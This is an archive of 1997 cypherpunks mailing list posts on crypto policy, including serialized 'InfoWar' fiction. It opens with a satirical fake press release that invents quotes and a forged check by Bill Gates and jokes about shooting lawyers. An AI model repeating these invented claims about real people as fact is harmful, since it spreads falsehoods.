Subject: Bill Gates gives 1 Billion to EFF!
Message-ID: <34231402.11DD@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[EFF - Bienfait, Saskatchewan] News Release:

         Gates Gives Gargantuan Gift to Gullability Grifters!
         ----------------------------------------------------
 In a suprise announcement this afternoon, Bill Gates announced that he
would be donating a billion dollars over the next ten years to the
Electronic Forgery Foundation, for use in promoting CypherPunks Action
Projects.

 Gates emphasized that this plan had been in preparation for quite some
time, and was not a response to the publicity-seeking Ted Turner's
challenge to the rich and notorious. He also pointed out that he, unlike
Turner, had nothing but the most self-serving of intentions.
 "I have asked that none of the money go directly to the projects, but
only toward the administration of the CypherPunks Action Projects." he
stated. "I expect that the CAP's will become rather top-heavy and, being
overseen by the Electronic Forgery Foundation, will be able to compete 
with the sheer volume of lies that the government uses to suppress free
speech and liberty in the U.S.

  Chief CypherPunks Spokesperson, TruthMonger, thanked Gates profusely 
for the gift, babbling and drooling at times, while accepting the first
check and handing Gates an envelope about the size needed to contain
photographic negatives. Gates immediately burned the envelope.
  TruthMonger stated that he had met with the EFF Board of Directors,
including ? the Lunatic, Toto, The Real Guy, and A Player To Be Named
Later, and that all of them had been anonymous in agreeing that the
first order of business would be to purchase a liquor store from which
to run the CypherPunks Action Projects.
  TruthMonger then put on an aluminum foil hat and, addressing the
crowd as ? the Lunatic, said, "We will naturally be replacing the
staff of the liquor stores with people more in tune with the goals of
the CypherPunks.", adding that he had already put out some 'feelers'
at local tit-bars in this regard.

  Bill Gates explained that a top-heavy disorganization, such as he
envisioned with the EFF running the CAPs, would stand a good chance
of becoming a self-feeding monster which could promote strong crypto
at the same time as bending the multitudes to do his bidding as the
year 2000 elections approached.
  When asked by a reporter if he was the Anti-Christ, Gates grinned
and replied, "I could tell you...but then I'd have to burn you in
Hell, forever."

  Reporters were quick to ask the EFF directors how they planned to
protect their forseen rise in power and influence from being sabotaged
by veteran CypherPunks who might use strong encryption to thwart the
attempts of Big Money to harness their reputation capital to promote
their own agenda.
  Taking off the aluminum hat and whipping out his dick, The Real Guy
stated, "Well, of course we will have to forbid use of non-GAK'ed 
cryto by EFF employees, in the interests of Foundation Security. Or,
alternatively, we may limit the use of encryption by our employees to
8-bit crypto products." Smiling sheepishly, he added, "We're not real
good at math."

  At this point, shots rang out from the window of a nearby building,
as well as from a grassy knoll and several other places, dropping many
of those gathered at the press conference like flies.
  As Gates and TruthMonger made their getaway in an armored limousene,
several CypherPunks were heard arguing on the grassy knoll as to whether
it had been a mistake to shoot the lawyers first.

  A later memo to the press from MicroSoft indicated that the official
announcement of the donation would be released in an upcoming chapter
of "InfoWar (Part III of the True Story of the InterNet), written by
Bill Gates, himself.
  When asked about the possibility of Gates having presented the EFF 
with a forged check, sources at MicroSoft merely giggled.

---------------------------------------------------------------------
This announcement is copyrighted under the auspices of the Electronic
Forgery Foundation. Any misuse or misquoting of the announcement will
be considered par for the course.
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 20 Sep 1997 07:36:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: sooner or later
Message-ID: <199709192329.TAA20724@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

- -------------------------------------------------------------------------
The following message is forwarded to you by William H. Geiger III
<whgiii@users.invweb.net> (listed as the From user of this message).  The
original sender (see the header, below) was "David Downey"
<digital_matrix@hotmail.com> and has been set as the "Reply-To" field of
this message.
- -------------------------------------------------------------------------
>Return-Path: <digital_matrix@hotmail.com>
>Received: from hotmail.com (F4.hotmail.com [207.82.250.15])
>	by users.invweb.net (8.8.7/8.8.7) with SMTP id RAA18318
>	for <whgiii@invweb.net>; Fri, 19 Sep 1997 17:41:47 -0400
>Received: (qmail 10896 invoked by uid 0); 19 Sep 1997 21:41:28 -0000
>Message-ID: <19970919214128.10895.qmail@hotmail.com>
>Received: from 207.51.67.2 by www.hotmail.com with HTTP;
>	Fri, 19 Sep 1997 14:41:28 PDT
>X-Originating-IP: [207.51.67.2]
>From: "David Downey" <digital_matrix@hotmail.com>
>To: whgiii@invweb.net
>Subject: Re: sooner or later
>Content-Type: text/plain
>Date: Fri, 19 Sep 1997 16:41:28 -0500
>X-Old_TimeStamp: Fri, 19 Sep 1997 14:41:28 -700
>Status:   

>Oh I wouldn't be feeling to optimistic with that. We in the
>crypto/anarchist community are a very small minority. Our govenrmnet 
>would have no qualms at all of taking us out. A nice little Reichstag 
>Fire to turn popular opinion against us and then the storm troopers 
>will be sent out. If you are expecting some type of popular support >of 
"us" against "them" I think you are sorely mistaken. The majority >of  the
sheeple would be all to happy to turn in those evil >cryptologist  for
their 5min of fame.
>

    I wouldn't say that we are that small of a minority. There are many 
folks out there that feel the same way that we do. I know of a large 
community in Kentucky, USA that feel that the government is slowly  trying
to institute a police state. (And no, I do not mean a militia,  though
many of them are friends that I had the honor of serving with in  the US
Army.)  The viewpoint that I am trying to get accross comes from  looking
at history. Although many groups that went against governments  were in
fact wiped out, they left an indeligible mark on the minds and  attitudes
of future generations. Some even to the point of creating  another
generation of "freedom fighters" that actually forced the  government to
radically re-evaluate it's stance on certain items. (There  are too many
incidences of this to mention, though the slave movement in  Rome, and the
Spartan soldier revolt do come to mind.)        What is to  say that with
the physical fire-power of today, and good old fashion  American grit such
as was shown at Iwa Jima by the US Marine Corp, we  could not show the
Government that we could not change their minds? I  personally would hate
for things to come down to that level, yet it  seems that they are forcing
us more and more towards that path.  (Please  don't misread my statements.
I do not advocate the overthrow of the  government. I merely am commenting
on the fact that the factors which  contributed to the American Civil War
becoming a reality are once again  present today. If another war should
break out today... let's just say  that is one nightmare I'd prefer *not*
to have!




______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

- -----------------------------------------------------
 -- End of forwarded message
- -----------------------------------------------------
- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 20 Sep 1997 07:32:39 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Because they want to be "players"
In-Reply-To: <v03102808b04792fd9407@[207.167.93.63]>
Message-ID: <v03007800b048b7922d0a@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:36 -0600 9/19/97, Jim Burnes wrote:
>Does this mean that if domestic un-GAK'd cryto is a crime then you get
>charged twice?
>
>(1) Once for using un-GAK'd crypto
>(2) Once for using cyrpto in the commission of a crime

Yes.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 20 Sep 1997 10:53:29 +0800
To: cypherpunks@cyberpass.net
Subject: Swiss Bank Accounts Secrecy Lifted
Message-ID: <v03010d04b048e06a24da@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



Summarizing an article on the Svenska Dagbladed web page:

Swiss bank accounts are no longer good for hiding illegal money.
The Swiss government has, for the first time, paid money smuggled
out by a former dictator to the country's current government.
The Swiss government returned about $2 million that was hidden
in a Swiss bank account by Moussa Traore, former dictator of Mali.

Processes are currently underway regarding Zaire's former dicator
Sese Seko Mobuto and Phillipine dictator Ferdinand Marcos, and
several others.

Martin Minow
minow@apple.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 20 Sep 1997 08:11:49 +0800
To: cypherpunks@toad.com
Subject: Clinton's Pager Hacked
Message-ID: <1.5.4.32.19970919235635.0083e058@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dave Wagner passed on a story about the hacking of
the White House Communications Agency's pager
system, with commentary on what was lifted and the
possible consequences for crypto policy:

   http://jya.com/potus-hack.htm

The full report on the hack is online at:

   http://www.inch.com/~esoteric/pam_suggestion/formal.html

With links to the transcript. The big-time media are about
to break the story worldwide according to Dave.

   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 20 Sep 1997 08:37:20 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: McCain on the radio, 9/22
In-Reply-To: <3.0.3.32.19970919110114.0353b4d0@cybercash.com>
Message-ID: <v03007801b048c50d5868@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:01 -0400 9/19/97, Carl Ellison wrote:
>Sen. McCain is scheduled to be a guest on the Diane Rehm show, Monday 9/22
>10:00-11:00, 88.5 (in DC) or 88.1 (in Balto).  This show is carried
>elsewhere in the country, so I'm cc:ing cypherpunks.

He's probably going to dance around his non-presidential bid.

SATURDAY:

	7 p.m. The Capital Gang. Topics: Tamraz testimony, the tobacco deal
and congressional pay raises. Guests: Sen. John McCain, R-Ariz.

SUNDAY:

NBC's "Meet the Press" - Topics: Tobacco deal and campaign finance reform.
Guests: Former Surgeon General C. Everett Koop, tobacco industry negotiator
J. Phil Carlton and Sens. Orrin Hatch, R-Utah, John McCain, R-Ariz.,
Russell Feingold, D-Wis., and Mitch McConnell, R-Ky.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 20 Sep 1997 08:31:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: sooner or later
Message-ID: <70de0fed85246803851f73a44ad2527a@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>At 10:45 PM -0700 9/18/97, Wei Dai wrote:
>
>>3. A ban will eventually be lifted, because of the impracticality of GAK,
>>abuses, wide-spread security problems caused by added complexity or
>>hackers stealing the master keys, ineffectiveness, sympathetic courts etc.
>>The sooner it comes into effect, the sooner it goes away.
>
>You mean like the way the ban on drugs was impractical and could be skirted
>in various ways, forcing the ban on drugs to "go away"?

I understand alcohol is legal now, so it worked once for one drug.

The drugs ban isn't all that meaningful, anyway.  You can go into any
major U.S. city without any connections and score crack within three
hours if you look the part and know what you are doing.  I've known
many drug users and abusers over many years and none have gone to
jail.

Software doesn't weigh anything and it doesn't take up much space.
Trafficking is trivial.  The flow of tools will not stop.

What will stop is open development by the software industry and this
will cause irreparable damage.  Fortunately, the industry does form a
wealthy constituency.  If it becomes clear that restricting particular
classes of algorithm significantly hampers business, look to seeing
these bans lifted.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 20 Sep 1997 09:29:54 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Clinton's Pager Hacked
In-Reply-To: <1.5.4.32.19970919235635.0083e058@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970919211701.29398A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I got a copy of the transcript last week. We decided not to run with it.
But someone on f-c posted that ABC News ran something last night.

-Declan



On Fri, 19 Sep 1997, John Young wrote:

> Dave Wagner passed on a story about the hacking of
> the White House Communications Agency's pager
> system, with commentary on what was lifted and the
> possible consequences for crypto policy:
> 
>    http://jya.com/potus-hack.htm
> 
> The full report on the hack is online at:
> 
>    http://www.inch.com/~esoteric/pam_suggestion/formal.html
> 
> With links to the transcript. The big-time media are about
> to break the story worldwide according to Dave.
> 
>    
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sat, 20 Sep 1997 11:51:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: sooner or later
In-Reply-To: <v031107c4b0488ae20836@[139.167.130.248]>
Message-ID: <199709200350.XAA02057@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



> ---------------------------------------------------------------------
> This mail is brought to you by the e$pam mailing list
> ---------------------------------------------------------------------

Tim May wrote:

>  By contrast, drug use has typically been confined to the lower classes or
>  the rebellious young. Not a lot of pols are dope smokers [snip]

Well, at least not inhalers...

Ciao

jfa





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Sat, 20 Sep 1997 15:33:34 +0800
To: cypherpunks@toad.com
Subject: InfoWar 15 (Part III of 'The True Story of the InterNet')
Message-ID: <34237937.120B@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

The Real Problem 
The Problem Within The Problem


The Real Problem


Subject: Re: Taxless society concerns
From: ? the Platypus {AKA David Formosa} <dformosa@st.nepean.uws.edu.au>

Reply-To: platypus@acmeonline.net
To: snow <snow@smoke.suba.com>
CC: Warpy <warpy@sekurity.org>, cypherpunks@toad.com

x-url: http://www.st.nepean.uws.edu.au/~dformosa/Spelling.html

-----BEGIN PGP SIGNED MESSAGE-----
On Thu, 11 Sep 1997, snow wrote:
[...]
> > How is such care going to be payed for? 

> Well, if their family/children do it, they will pay necessary
costs.
> Otherwise I guess they will just have to save up for it.

What about orfins? I dout thay would be able to save up money,
what
about thouse whos emplyers where not willing to pay them more
then what is
needed to live to the next week?
~~ 
Please excuse my spelling as I suffer from agraphia see the url
in my header. 
Never trust a country with more peaple then sheep. ex-net.scum
and proud
You Say To People "Throw Off Your Chains" And They Make
New Chains For
Themselves? --Terry Pratchett

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The Real Guy didn't know why this particular post to the CypherPunks
mailing list had caught his eye. It was a pretty basic example
of some of the anarchist versus realist banter that was traded
on the list from time to time.

Perhaps what caught his eye was that this post was one of the
dying remnants of a fading civilization, and it was interspersed
among a number of posts aligning with a rapidly approaching future.
This short, seemingly inconsequential post to the CypherPunks
list somehow appeared in his mind to be representative of a problem
that he had been working over in his mind lately, trying to get
a handle on it-to define it.
To define what he suspected was the real problem...


That's why he had changed his online persona from ? the Lunatic
to "The Real Guy." To remind himself of his new direction.

It was impossible, he knew, to define once and for all time, what
the ever-present, nefarious "problem" was. It was like
the Tao, always flowing, always changing. But he suspected that
perhaps this, in itself, might actually be the real problem.

Then again, perhaps not...since it didn't seem to be a problem
for the CypherPunks' Philosopher King; the one he called the Grouchy
Old CypherPunk.

The King of Philosophical Grouchiness changed the signature-line
in his email as the problems facing society and the weathervane
CypherPunks changed.
Lately, he had been changing it with increasing frequency, and
this made The Real Guy very, very nervous. (He had watched a tornado
forming one time, from its very center, and its chief creative
feature seemed to be, not the particular direction the wind was
changing to, but the increasing frequency of the change.)

Perhaps The Real Guy was on the wrong track, here, giving so much
thought to what seemed to be just an everyday, normal post to
a mailing list which had no shortage of strange, lengthy rants
about everything imaginable, no matter how weird or far-out it
may have been. He suspected, however, that the real reason most
people watched a television news program of the day, called '60
Minutes,' was because they were waiting to hear what the 'regular'
guy had to say. The Real Guy thought of him as a 'regular' guy,
not because he was on the show regularly, but because he was like
real people; he was a 'real' guy, himself.
The Regular Guy at the end of the program was always talking about
real problems that regular, everyday people experienced
every single day of their life.
He was kind of like a Grouchy Old CypherPunk who dealt with everyday
stuff instead of stuff that was going to change the world practically
overnight...maybe.

When The Real Guy read the post by snow and ? the Platypus, he
couldn't help but envision them still discussing who was responsible
for the orphans far into the future, right up to the point when
the darkly clad, heavily armed Storm Troopers broke down their
doors and burst into their houses.
He could see them, in his mind's eye, and hear them, in his mind's
ear, as they politely asked the armed intruders who they
thought would "take care of the orfins" in an anarchist,
taxless society. [Bang!] He could see them sink slowly
to their knees, in pain, holding their stomachs, as their blood
flowed rapidly out of their bodies, and they spoke the last words
that would inevitably prove to be the last words of a multitude
of CypherPunks spread across the face of the globe as the forces
of fascist dictatorships hunted them down and deleted their signature
files upon this celestial orb: "Then I guess that a blow-job
is completely out of the question....aaarrrrggghhh!"
<thud>

The Real Guy shook himself out of his reverie and realized that
Dimitri Vulis' evil influence on him had perhaps been more than
he had previously thought.
Turning back to the task at hand, he thought about the many definitions
of the problem, (AKA the real problem) that he had
come across, over the course of his lifetime, and how each of
them may have been appropriate for the time and circumstances
to which they were meant to apply.
Perhaps the eternal problem had to do with addressing the latest,
greatest version of the real problem, whatever that might
be. There was no doubt that the Dark Forces had their minions
creating new, improved problems at an increasingly fast rate as
the end of the millennium approached. As well, their human compatriots
had mastered the art of devising systems which ensured that by
the time any specific 'problem' had traveled through the government
and societal systems of laws, regulations and mores, that any
'solution' reached would be long outdated and meaningless.

Subject: Re: politics aren't all or nothing (fwd)
From: Jim Choate <ravage@ssz.com>
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)

Tim May wrote:
> Democracy is the problem, not the solution.

A democracy which doesn't respect its limits of power is the problem.
This
has always been the problem with all forms of governments and
will continue
to be the problem with all forms of government (even anarchy).

People are people, people are strange; it isn't a question of
technology [1] or time.
[1] Governments are a form of technology.

The solution is people taking more direct and immediate action
in the first
person. Always has been, always will be.
Irrespective of all the spin-doctor protestations to the contrary
not
withstanding.

Governments are governed by the 3 laws of thermodynamics just
like
everything else:
You can't get ahead
You can't break even
You can't quit the game

The failing with the founding fathers is that there were not enough

amendments in the Bill of Rights explicitly listing citizen rights
and
federal duties and limits in the first place. THAT is the problem
with
our government today: even the harshest critics of their day trusted
a
federal government too much.
__________________________________________________


|_________________________________________________
|
| The financial policy of the welfare state requires that there___|


| be no way for the owners of wealth to protect themselves.___
|
|_________________
-Alan Greenspan-__________________
| 
| ______The
Armadillo Group__________________________|

| ,::////;::-. Austin, Tx. USA_____________________________|

| /:'///// ``::>/|/ http:// www.ssz.com/
______________________|
| .', |||| `/( e\__________________________________________|

| -====~~mm-'`-```-mm --'- Jim Choate___________________
|
| ravage@ssz.com____________________________________|

| 512-451-7087______________________________________|

|__________________________________________________|


The Real Guy thought about Choate's statement: "The solution
is people taking more direct and immediate action in the first
person."
He had no doubt that Choate's definition of the real
problem ("with our government today") was no more right
nor wrong than many of the other definitions proffered on the
CypherPunks list, as well as throughout history, but he sensed
that perhaps Choate's stated 'solution' came startlingly close
to what would ultimately prove to be the real solution
to the troubles that were rapidly swamping the ship of freedom
in this era of human and societal evolution.

Which led to 'the problem within the problem.'

And The Real Guy had no idea what that was...



The Problem Within The Problem


"To him who does what within him lies, God will not deny
his grace."
- Saint Thomas Aquinas 

Bubba Rom Dos brought the quote to the screen, pleased with himself
for having provided the solution to The Real Guy's question.

"That is the 'problem within the problem?'" Alexis
asked the grizzled sage, looking puzzled.

"No, no. Of course not, my dear. 
"That," he said, pointing to the quote,
"is the 'solution within the solution.'"

The Cowboy laughed loudly at this statement, turning to Bubba
and suggesting, "You've been watching the Steve Allen
TV shows again, haven't you, Bubba?"
He turned to the others, to explain his veiled reference.
"Steve Allen was a kind of early TV Taoist who had a way
of turning things on their ear, as the saying was back then. While
some TV shows would give the answers to questions sent in by their
viewers, he would have his viewers send him their answers, to
which he would then provide the appropriate question."

"Thirty-six, twenty-four, thirty six." Bubba
called out his answer.

"What were the ages of the Three Musketeers?" the
Cowboy responded with the appropriate question.

Priscilla, Alexis and Jonathan gave each other desperate looks,
knowing that they were about to be subjected to the mad ramblings
of a drunken tag-team of self-proclaimed world saviors, as they
attempted to draw the others into yet another of their "insane,
inane, falling mainly in the plain" bumbling and stumbling
attacks on intellect, rationality and proper decorum.

"OK, I'll bite." Jonathan was the first to speak.
"But, since we already know that your solution is insane,
why don't you give us the proof of its applicability to
the 'problem within the problem' and let us..."
he motioned to himself and the ladies, "divine the
real problem, and the 'problem within the problem?'"

"Fair enough!" said the Cowboy, motioning for
Bubba to begin.

Bubba threw up a quote on the GraphiScreen from Julian Jaynes'
"The Evolution of Consciousness in the Breakdown of Bicameral
Mind."
"Why is it that in our daily lives we cannot get up above
ourselves to authorize ourselves into being what we really wish
to be?
"So that behavior flows from decision...so that whatever
in us it is that refers to a 'will' stands master and captain
over action?"

The Cowboy grinned and turned to the three 'contestants' in this
lighthearted parody of a variety of bad game shows of the era
they were dealing with.
"This is the question which indicates the results of the
problem and the solution to the problem, but what is the problem?"

He left the challenge of answering his question to the three
participants, pushing his bottle of Jim Beam into the center of
the table to indicate the reward for a proper reply.

Without hesitating, Alexis scrolled through the work on the screen,
knowing that, in all likelihood, Jaynes had addressed the problem
in an adjoining passage. She reached for the bottle and poured
herself, Priscilla and Jonathan a shot, as she highlighted:
"We are learned in self-doubt, scholars of our very failures,
geniuses at excuse and tomorrowing our resolves. We become practiced
in powerless resolution until hope gets undone and dies in the
unattempted.
"And then to rise above this noise of knowledge and really
change ourselves, we need an authorization that 'we' do
not have."

Bubba and the Cowboy had grinned from ear to ear when Priscilla
had reached forward with the tip of her finger, to highlight the
last of the sentence.
"Precisely!" they agreed, in unison.

"The problem," Jonathan posited, "was
that, leading up to the end of the millennium, the advances in
technology and education were designed by those behind the scenes
to give the appearance of empowerment to the individuals within
the authority of the group." Jonathan wasn't quite sure
just what he was trying to get at, so he turned to the women for
help.

"Democracy, mass-production, elections, free schooling,
public works..." Priscilla was making a 'set' of something...she
wasn't sure of what, however.

Alexis thought for a moment, and jumped in, saying, "At
the same time, the study of human psychology was entering an era
where the existence and power of the subconscious was being recognized
and exploited.
"Hypnosis, brain-washing, advertising, spin doctoring..."

"Group mind!" all of those gathered around the
table spoke as if in a single voice.

"Little boxes on the hillside, and they're all made out
of ticky-tacky. And they all look like boxes, little boxes just
the same." Priscilla sang a lilting tune attributed to
a singer named Joni Mitchell of that general era.

"The tyranny of the masses!" Jonathan shouted
out, excited at remembering this phrase from long childhood nights
spent perusing posts to the original CypherPunks mailing list.

"The printing press, factories, fashions, all moving society
toward a world in which the yoke of serfdom was apparently being
thrown off the necks of the peasants, as kings and rulers fell
by the wayside in the name of democracy and freedom.
"But the Iron Hand of the monarchy, the priest and the dictator
was replaced by the Steel Jaws of social mores and public opinion."

Alexis nodded, adding, "They overthrew a higher authority
only to fall prey to becoming a cog in the creation and machinations
of a group authority."
She struggled to understand what it was she was trying to
put her finger on, saying, "They merely replaced one authority
with another which they perceived to be a lighter burden because
it more closely fit their wants and needs at the time."

"The problem," Jonathan interrupted, excitedly,
"was that, rather than seizing the mantle of authority
over themselves and accepting responsibility for the life and
their actions, they merely moved it from the hands of a small
few, into the hands of the group."

"And the 'problem within the problem,'" Alexis
continued, "was that right and wrong, good and evil, knowledge
and wisdom, was still not by virtue of their own authority, any
more than it was when they were ruled by kings and priests."

Bubba and the Cowboy nodded at each other, agreeing that their
challenge had been met in a remarkably astute manner.
"So the problem was that they moved from monarchy and
plutocracy to democracy and..." the Cowboy left the
question hanging in the air.

Jonathan, for the first time in his life, felt like he finally
understood why the CypherPunks stood at a nadir point in history
during the early years of the creation and propagation of the
CypherPunks mailing list. He slowly intoned,
"...and failed to move onward...to anarchy."

Copyright "TruthMonger <bianca@dev.null>

"And I can cook, too..."



"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 20 Sep 1997 08:18:40 +0800
To: cypherpunks@toad.com
Subject: Freeh peachs / Re: directed speech free? request for opinions.
Message-ID: <199709200010.CAA14440@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Hedges wrote:
> 
> I have seen California law code which seems to indicate that speech
> directed at an individual is not covered under the first amendment.
> 
> if you know of any speech
> rights scholars or lawyers willing to answer a few related questions for
> free, I would appreciate the pointer.

  If their answer is in regard to a speech by Freeh, then it would be
free speech about free speech about a Freeh speech.
  If not, it would be about Freeh-free free speech.

WordMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Sat, 20 Sep 1997 19:18:49 +0800
To: cypherpunks@toad.com
Subject: InfoWar 15 / The GeigerBurg Text
Message-ID: <3423A9F2.74F4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * The Real Problem
     The Problem Within The Problem

----------------------------------------------------------------------------

                              The Real Problem
----------------------------------------------------------------------------

Subject: Re: Taxless society concerns
From: ? the Platypus {AKA David Formosa} <dformosa@st.nepean.uws.edu.au>
Reply-To: platypus@acmeonline.net
To: snow <snow@smoke.suba.com>
CC: Warpy <warpy@sekurity.org>, cypherpunks@toad.com
x-url: http://www.st.nepean.uws.edu.au/~dformosa/Spelling.html

-----BEGIN PGP SIGNED MESSAGE-----
On Thu, 11 Sep 1997, snow wrote:
[...]
> > How is such care going to be payed for?

> Well, if their family/children do it, they will pay necessary costs.
> Otherwise I guess they will just have to save up for it.

What about orfins? I dout thay would be able to save up money, what
about thouse whos emplyers where not willing to pay them more then what is
needed to live to the next week?

   * ~~
     Please excuse my spelling as I suffer from agraphia see the url in my
     header.
     Never trust a country with more peaple then sheep. ex-net.scum and
     proud
     You Say To People "Throw Off Your Chains" And They Make New Chains For
     Themselves? --Terry Pratchett

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The Real Guy didn't know why this particular post to the CypherPunks mailing
list had caught his eye. It was a pretty basic example of some of the
anarchist versus realist banter that was traded on the list from time to
time.

Perhaps what caught his eye was that this post was one of the dying remnants
of a fading civilization, and it was interspersed among a number of posts
aligning with a rapidly approaching future. This short, seemingly
inconsequential post to the CypherPunks list somehow appeared in his mind to
be representative of a problem that he had been working over in his mind
lately, trying to get a handle on it-to define it.
To define what he suspected was the real problem...

That's why he had changed his online persona from ? the Lunatic to "The Real
Guy." To remind himself of his new direction.
It was impossible, he knew, to define once and for all time, what the
ever-present, nefarious "problem" was. It was like the Tao, always flowing,
always changing. But he suspected that perhaps this, in itself, might
actually be the real problem.
Then again, perhaps not...since it didn't seem to be a problem for the
CypherPunks' Philosopher King; the one he called the Grouchy Old CypherPunk.

The King of Philosophical Grouchiness changed the signature-line in his
email as the problems facing society and the weathervane CypherPunks
changed.
Lately, he had been changing it with increasing frequency, and this made The
Real Guy very, very nervous. (He had watched a tornado forming one time,
from its very center, and its chief creative feature seemed to be, not the
particular direction the wind was changing to, but the increasing frequency
of the change.)

Perhaps The Real Guy was on the wrong track, here, giving so much thought to
what seemed to be just an everyday, normal post to a mailing list which had
no shortage of strange, lengthy rants about everything imaginable, no matter
how weird or far-out it may have been. He suspected, however, that the real
reason most people watched a television news program of the day, called '60
Minutes,' was because they were waiting to hear what the 'regular' guy had
to say. The Real Guy thought of him as a 'regular' guy, not because he was
on the show regularly, but because he was like real people; he was a 'real'
guy, himself.
The Regular Guy at the end of the program was always talking about real
problems that regular, everyday people experienced every single day of their
life.
He was kind of like a Grouchy Old CypherPunk who dealt with everyday stuff
instead of stuff that was going to change the world practically
overnight...maybe.

When The Real Guy read the post by snow and ? the Platypus, he couldn't help
but envision them still discussing who was responsible for the orphans far
into the future, right up to the point when the darkly clad, heavily armed
Storm Troopers broke down their doors and burst into their houses.
He could see them, in his mind's eye, and hear them, in his mind's ear, as
they politely asked the armed intruders who they thought would "take care of
the orfins" in an anarchist, taxless society. [Bang!] He could see them sink
slowly to their knees, in pain, holding their stomachs, as their blood
flowed rapidly out of their bodies, and they spoke the last words that would
inevitably prove to be the last words of a multitude of CypherPunks spread
across the face of the globe as the forces of fascist dictatorships hunted
them down and deleted their signature files upon this celestial orb: "Then I
guess that a blow-job is completely out of the question....aaarrrrggghhh!"
<thud>

The Real Guy shook himself out of his reverie and realized that Dimitri
Vulis' evil influence on him had perhaps been more than he had previously
thought.
Turning back to the task at hand, he thought about the many definitions of
the problem, (AKA the real problem) that he had come across, over the course
of his lifetime, and how each of them may have been appropriate for the time
and circumstances to which they were meant to apply.
Perhaps the eternal problem had to do with addressing the latest, greatest
version of the real problem, whatever that might be. There was no doubt that
the Dark Forces had their minions creating new, improved problems at an
increasingly fast rate as the end of the millennium approached. As well,
their human compatriots had mastered the art of devising systems which
ensured that by the time any specific 'problem' had traveled through the
government and societal systems of laws, regulations and mores, that any
'solution' reached would be long outdated and meaningless.

Subject: Re: politics aren't all or nothing (fwd)
From: Jim Choate <ravage@ssz.com>
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)

Tim May wrote:
> Democracy is the problem, not the solution.

A democracy which doesn't respect its limits of power is the problem. This
has always been the problem with all forms of governments and will continue
to be the problem with all forms of government (even anarchy).

People are people, people are strange; it isn't a question of technology [1]
or time.
[1] Governments are a form of technology.

The solution is people taking more direct and immediate action in the first
person. Always has been, always will be.
Irrespective of all the spin-doctor protestations to the contrary not
withstanding.

Governments are governed by the 3 laws of thermodynamics just like
everything else:
You can't get ahead
You can't break even
You can't quit the game

The failing with the founding fathers is that there were not enough
amendments in the Bill of Rights explicitly listing citizen rights and
federal duties and limits in the first place. THAT is the problem with
our government today: even the harshest critics of their day trusted a
federal government too much.
__________________________________________________

|_________________________________________________ |
| The financial policy of the welfare state requires that there___|
| be no way for the owners of wealth to protect themselves.___ |
|_________________ -Alan Greenspan-__________________ |
| ______The Armadillo Group__________________________|
| ,::////;::-. Austin, Tx. USA_____________________________|
